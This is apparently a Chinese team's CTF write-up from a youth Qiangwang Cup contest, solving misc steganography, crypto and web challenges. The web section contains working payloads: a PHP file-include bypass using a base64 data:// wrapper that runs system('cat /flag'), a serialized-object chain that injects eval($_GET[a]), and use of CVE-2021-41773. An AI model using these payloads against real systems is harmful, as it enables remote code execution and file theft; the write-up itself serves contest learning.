第六届“强网杯”青少年专项赛 writewp by 楠辞姐姐后援团

楠辞姐姐后援团战队WRITEUP

前言

这次比赛难度很大，Crypto部分也全都是猜谜语类型的题目，没啥游戏体验，不过好在排名在前30.本篇WP为团队WP，团队成员为：树木，AcexZe，Lenyi

战队信息

战队名称：楠辞姐姐后援团

战队排名：24

解题情况

 

解题过程

Misc

misc1

先将得到的base64转文件得到

可以看出来将偶数位和奇数位互换可以得到一个png图片

f1 = open('chuyinweilai.png.png', 'rb').read()
f2 = open('1.png', 'ab+')
for i in range(0, len(f1), 2):
    f2.write(f1[i:i+2][::-1])
f2.close()

得到

在最低有效位通道可以发现不太对劲，结合密钥可以想到加密lsb

根据描述百度万能和弦得到4536251

使用cloacked-pixel解密

得到

flag{5cc0aa21208b517dbd0bde650247237f}

misc3

在附件尾部找到

可以看到有一个密码和zip数据，foremost分离出zip

解压得到

结合图片内容和密钥以及misc1的思路，直接用cloacked-pixel跑

得到

flag{2e55f884-ef01-4654-87b1-cc3111800085}

Web

web1

看一下题目描述，发现存在CVE-2021-41773，我们直接百度一手，搜到了一个github工具

使用该工具成功获取flag

flag{f59a396c-a2b7-4433-961d-5b979fccfe2e}

web2

进入容器看一手源码

看到最底下存在一个base64加密过的字符串，直接base64解密（不止一层，套娃解就好）

解出来了个cream.php，我们访问

得到了该题目的源码，审计一下

Fopen是r+函数，所以文件或url必须同时具有读写能力，经测试后发现伪协议可以正常使用，file参数解决，而content内容就是include的参数，所以我们可以直接使用data加base64绕过，下面放出payload

/cream.php?file=data://,&content=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg==

成功获取flag

flag{27311418-850e-4d85-8ea2-ee88685e1274}

web3

首先利用dirsearch扫描目录得到www.zip和dome.php

发现www.zip中有demo.php的源码

根据源码写出exp：

$res = new Sliver;

$res->secret = new Range;

$res->secret->link = new Water;

$res->secret->link->waterfall = new Circle;

echo urlencode(serialize($a));

利用/绕过

Poc：

demo.php

?data=O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3BN%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A16%3A%22%40eval%28%24_GET%5Ba%5D%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D&a=system("cat /flag");

取得flag

flag{d5c46251-1f3f-4531-a912-cb66c1a6a1e6}

Pwn

一道题都不会捏qwq

Reverse

一道题都不会捏qwq

Crypto

crypto1

拿到一个AB和空格的文档

根据经验，认为符合Morse，将A改为-后将B改为.

使用CyberChef解一下Morse

看到这样的密文，结合简介，想到单表替换密码，使用

其中有一个FLAG IS，将后面的内容复制并转为小写加上flag{}，得到flag

flag{1d817f23-4e20-9405-bf6d-e83d055316d6}

crypto2

使用千千秀字的栅栏解密栅栏32得到

使用CyberCher的“ROT47 Brute Force”可以看到在rot32处可以看到flag{，rot31处可以看到uuid格式

再将rot31的数字部分与rot32的非字母部分对应位置替换

Amount = 31: ek`fz7914c2bd-880b-40b0-8167-2e77e3101a44|

Amount = 32: flag{8:25d3ce.991c.51c1.9278.3f88f4212b55}

得到flag

flag{7914d2ce-880c-40c0-8167-2f77f3101b44}